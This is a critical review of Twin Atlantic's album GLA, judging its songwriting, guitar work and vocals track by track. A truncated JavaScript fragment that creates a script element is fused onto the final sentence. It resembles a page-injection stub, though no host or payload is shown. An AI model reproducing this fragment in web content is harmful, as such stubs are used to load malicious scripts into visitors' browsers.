By David Flanigan
Musically, stripping back and returning to basics is not necessarily the admission of defeat it initially appears. In Twin Atlantic’s case, it could well have provided a much-needed tonic to the regressive state of flux they experienced following their 2014 commercial breakthrough album: Great Divide. Abandoning their looser approach to song-writing and structuring, Great Divide was almost nauseatingly routine – numbingly uninteresting. Now, Twin seek to rediscover themselves with GLA, a modern rock record, appropriately inspired by the political and cultural ‘rebirth’ of their hometown over the last half-decade.
Yet, while the appallingly-titled opener Gold Elephant: Cherry Alligator is nothing if not explosive, (despite being patently live-opener-bait) it is one of the very few tracks on GLA that carries any of the spontaneity, or the grit, that the album’s title insinuates. Rather, (apparently autobiographical, recounting frontman Sam McTrusty’s insomnia) lead single No Sleep‘s break “We’re not gonna sleep no more/I take pills and I drink alcohol” is evocative of young-team YouTube montages; half-drank quarter-bottles and double-birds flipped for all. You’re an unhinged hard-nut, McTrusty, you’ve told us, now please, come down from the roof, the neighbours can see you.
Buchanan Street’s multitude of overbearing male buskers are represented in spirit, at least; A Scar to Hide is Twin’s latest attempt at emulating the wild fan popularity of Free’s Crash Land – a successful lighters-in-the-air acoustic guitar ballad merely for recounting McTrusty’s fear of flying rather than the genre trope of overwrought emotional drama. A Scar to Hide, while gallingly generic, at least surpasses its apocalyptic misfire of a precursor: Great Divide’s Be a Kid.
Moments of relief from GLA’s hiccupping toil are few, but noteworthy. Punchy alt-rock tracks: Missing Link, and Overthinking offer a glimpse at what could have been, while ‘Whispers’ is possibly the most grounded, lyrically, of Twin’s career thus far, pondering mortality and the onset of grief after loss.
Guitarist, Barry McKenna, almost fronts the album, but is denied any opportunity to flaunt his trademark subtle leads (see Viviarium or Free’s Serious Underground Dance Vibes). Instead, McKenna spends the vast majority of GLA criminally misused, tethered between ‘phat’ crunch-laden riffs from the still-kindling scrap-heap of late-90s post-grunge and the most rudimentary of modern rock progressions.
McTrusty hardly fares much better. You Are The Devil is a desperately cheap imitation of a cut from QOTSA’s Era Vulgaris, and he won’t be pride of place on their frontman’s Christmas card list for his assault of a Josh Homme-esque falsetto in I Am Alive‘s middle-eight. Likewise, he sees fit to work against album closer Mother Tongue vaguely interesting premise – defending singing in his native accent – by contorting his distinctive Glasweigan burr into a barely-tolerable whine on the track’s hook. The bewildering pairing of demo-quality guitars and a delicate string section do not aid what is a massively jarring finish to the record.
Fall Out Boy titled their comeback album: Save Rock And Roll as a joke, a palm-off to decriers who used them as an euphemism for the unhealthy state of rock music. Twin Atlantic give the impression on GLA (and cringe-fest Great Divide bonus track It’s Not Dead), that they genuinely believe they alone can revive mainstream rock, whilst feverishly berating its open casket – the onset of rigor-mortis a week old.var d=document;var s=d.createElement(‘script’);